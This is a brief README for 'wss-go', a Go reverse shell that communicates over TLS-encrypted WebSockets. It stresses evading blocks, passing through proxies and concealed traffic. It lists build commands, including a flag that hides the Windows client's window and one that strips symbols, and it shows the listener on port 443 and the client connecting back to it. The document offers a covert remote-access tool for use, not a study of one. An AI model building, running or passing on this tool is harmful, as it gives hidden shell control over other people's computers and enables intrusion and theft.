wss-go is a reverse shell using websocket with tls.
Work for Windows, Linux, MacOS.
Use Websocket for communication and use SSL certificate for encryption.
- The HTTP protocol is used in the handshake phase, so it is not easy to block during the handshake and can pass through various HTTP proxy servers.
- Use SSL certificate for encryption.
- The data format is relatively lightweight, the performance overhead is small, and the communication is efficient and concealed.
go env -w GOOS=windows
go build -o wssServer.exe server/server.go
go build -o wssClient.exe -ldflags -H=windowsgui -ldflags "-s -w" client/client.go
go env -w GOOS=darwin/linux
go build -o wssServer server/server.go
go build -o wssClient client/client.go
./wssServer -addr 0.0.0.0:443
./wssClient -addr 127.0.0.1:443
- RSA & AES